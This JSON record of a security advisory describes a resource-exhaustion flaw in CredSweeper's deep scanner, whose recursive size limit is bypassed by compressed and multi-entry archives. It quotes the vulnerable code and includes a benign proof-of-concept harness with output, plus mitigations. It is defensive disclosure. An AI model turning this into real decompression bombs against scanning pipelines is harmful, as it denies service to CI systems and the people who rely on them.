{"id":"GHSA-9mqm-qcwf-5qhg","title":"CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources","summary":"CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources","severity":"medium","cvss":5.5,"cwe":["CWE-400","CWE-409"],"vendor":"credsweeper","product":"credsweeper","ecosystem":"pip","affected":["credsweeper >= 1.4.9, < 1.16.0"],"patched":["credsweeper 1.16.0"],"published":"2026-07-10","updated":"2026-07-10","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-9mqm-qcwf-5qhg","references":[{"url":"https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"},{"url":"https://github.com/advisories/GHSA-9mqm-qcwf-5qhg"}],"tags":["ghsa","pip"],"ingestedAt":"2026-07-10T20:06:10.860Z","slug":"GHSA-9mqm-qcwf-5qhg","body":"## Overview\n\n### Summary\nCredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 > depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN > len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size < 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 > recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 > recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[name] = module\n    spec.loader.exec_module(module)\n    return module\n\ndef reset_credsweeper_modules():\n    for name in list(sys.modules):\n        if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n            del sys.modules[name]\n\ndef install_common_stubs():\n    for name in [\n        \"credsweeper\",\n        \"credsweeper.common\",\n        \"credsweeper.config\",\n        \"credsweeper.credentials\",\n        \"credsweeper.deep_scanner\",\n        \"credsweeper.file_handler\",\n        \"credsweeper.scanner\",\n        \"credsweeper.utils\",\n    ]:\n        module = types.ModuleType(name)\n        module.__path__ = []\n        sys.modules[name] = module\n\n    constants_module = types.ModuleType(\"credsweeper.common.constants\")\n    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30\n    constants_module.MIN_DATA_LEN = 8\n    constants_module.DEFAULT_ENCODING = \"utf_8\"\n    constants_module.UTF_8 = \"utf_8\"\n    constants_module.MIN_VALUE_LENGTH = 4\n    sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n    config_module = types.ModuleType(\"credsweeper.config.config\")\n    class Config: pass\n    config_module.Config = Config\n    sys.modules[\"credsweeper.config.config\"] = config_module\n\n    candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n    class Candidate:\n        @staticmethod\n        def get_dummy_candidate(*_args, **_kwargs):\n            return \"dummy\"\n    candidate_module.Candidate = Candidate\n    sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n    augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n    def augment_candidates(dst, src):\n        if src:\n            dst.extend(src)\n    augment_module.augment_candidates = augment_candidates\n    sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n    descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n    class Descriptor:\n        def __init__(self, extension=\"\", info=\"\"):\n            self.extension = extension\n            self.info = info\n    descriptor_module.Descriptor = Descriptor\n    sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n    file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n    class FilePathExtractor:\n        FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n        @staticmethod\n        def is_find_by_ext_file(_config, _extension):\n            return False\n        @staticmethod\n        def check_exclude_file(_config, _path):\n            return False\n    file_path_extractor_module.FilePathExtractor = FilePathExtractor\n    sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n    scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n    class Scanner: pass\n    scanner_module.Scanner = Scanner\n    sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n    util_module = types.ModuleType(\"credsweeper.utils.util\")\n    class Util:\n        @staticmethod\n        def get_extension(path, lower=True):\n            ext = os.path.splitext(str(path))[1]\n            return ext.lower() if lower else ext\n    util_module.Util = Util\n    sys.modules[\"credsweeper.utils.util\"] = util_module\n\n    content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n    class ContentProvider: pass\n    content_provider_module.ContentProvider = ContentProvider\n    sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n    data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n    class DataContentProvider:\n        def __init__(self, data, file_path=None, file_type=None, info=None):\n            self.data = data\n            self.file_path = file_path or \"\"\n            self.file_type = file_type or \"\"\n            self.info = info or \"\"\n            self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n    data_content_provider_module.DataContentProvider = DataContentProvider\n    sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n    def install_provider_stub(module_name, class_name):\n        module = types.ModuleType(module_name)\n        class Provider:\n            def __init__(self, *args, **kwargs):\n                for key, value in kwargs.items():\n                    setattr(self, key, value)\n        setattr(module, class_name, Provider)\n        sys.modules[module_name] = module\n\n    install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n    return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n    init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n    with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n        for line in handle:\n            if line.strip().startswith(\"__version__ = \"):\n                return line.split(\"=\", 1)[1].strip().strip('\"')\n    raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n    reset_credsweeper_modules()\n    install_common_stubs()\n    abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n    gzip_module = load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n    bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n    lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n    zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n    tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n    provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n    def __init__(self):\n        self.calls = []\n        self.config = object()\n    def recursive_scan(self, data_provider, depth, recursive_limit_size):\n        self.calls.append({\n            \"path\": data_provider.file_path,\n            \"len\": len(data_provider.data),\n            \"limit\": recursive_limit_size,\n            \"info\": data_provider.info,\n            \"depth\": depth,\n        })\n        return []\n\ndef build_compressed_payloads(payload):\n    gzip_buffer = io.BytesIO()\n    with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n        handle.write(payload)\n    return {\n        \"gzip\": gzip_buffer.getvalue(),\n        \"bzip2\": bz2.compress(payload),\n        \"lzma\": lzma.compress(payload),\n    }\n\ndef proof_negative_budget_after_full_decompression():\n    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    payload = b\"A\" * 64\n    recursive_limit_size = 16\n    compressed_payloads = build_compressed_payloads(payload)\n    results = []\n    for name, module, file_name in [\n        (\"gzip\", gzip_module, \"proof.txt.gz\"),\n        (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n        (\"lzma\", lzma_module, \"proof.txt.xz\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n        scanner_class = getattr(module, f\"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner\")\n        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"compressed_size\": len(compressed_payloads[name]),\n            \"decompressed_size\": recorder.calls[0][\"len\"],\n            \"configured_limit\": recursive_limit_size,\n            \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n            \"recursive_call\": recorder.calls[0],\n        })\n    return results\n\ndef proof_negative_budget_not_rejected():\n    abstract_module, _, _, _, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    AbstractScanner = abstract_module.AbstractScanner\n    class DemoScanner(AbstractScanner):\n        @property\n        def config(self):\n            return object()\n        @property\n        def scanner(self):\n            return object()\n        def data_scan(self, data_provider, depth, recursive_limit_size):\n            return []\n        @staticmethod\n        def get_deep_scanners(data, descriptor, depth):\n            return [], []\n        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n            self.proof = {\n                \"data_len\": len(data_provider.data),\n                \"depth\": depth,\n                \"recursive_limit_size\": recursive_limit_size,\n            }\n            return []\n    demo = DemoScanner()\n    provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n    return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    recursive_limit_size = 16\n    member_size = 12\n\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n        archive.writestr(\"a.txt\", b\"A\" * member_size)\n        archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n        for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n            payload = fill * member_size\n            info = tarfile.TarInfo(name)\n            info.size = len(payload)\n            archive.addfile(info, io.BytesIO(payload))\n\n    results = []\n    for name, module, data, scanner_name in [\n        (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n        (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"configured_limit\": recursive_limit_size,\n            \"member_size\": member_size,\n            \"member_count\": len(recorder.calls),\n            \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n            \"recursive_calls\": recorder.calls,\n        })\n    return results\n\nprint(json.dumps({\n    \"head_commit\": get_head_commit(),\n    \"package_version\": get_package_version(),\n    \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n    \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n    \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n  \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n  \"package_version\": \"1.15.8\",\n  \"proof_1_negative_budget_after_full_decompression\": [\n    {\n      \"format\": \"gzip\",\n      \"compressed_size\": 24,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"bzip2\",\n      \"compressed_size\": 39,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"lzma\",\n      \"compressed_size\": 68,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    }\n  ],\n  \"proof_2_negative_budget_not_rejected\": {\n    \"data_len\": 64,\n    \"depth\": 0,\n    \"recursive_limit_size\": -48\n  },\n  \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n    {\n      \"format\": \"zip\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    },\n    {\n      \"format\": \"tar\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    }\n  ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n  With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n  The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n  A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth > 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size < 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.\n\n## Affected packages\n\n- `credsweeper >= 1.4.9, < 1.16.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `credsweeper 1.16.0`","depth":"sunlit","depthScore":30,"depthScoreParts":{"impact":30.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}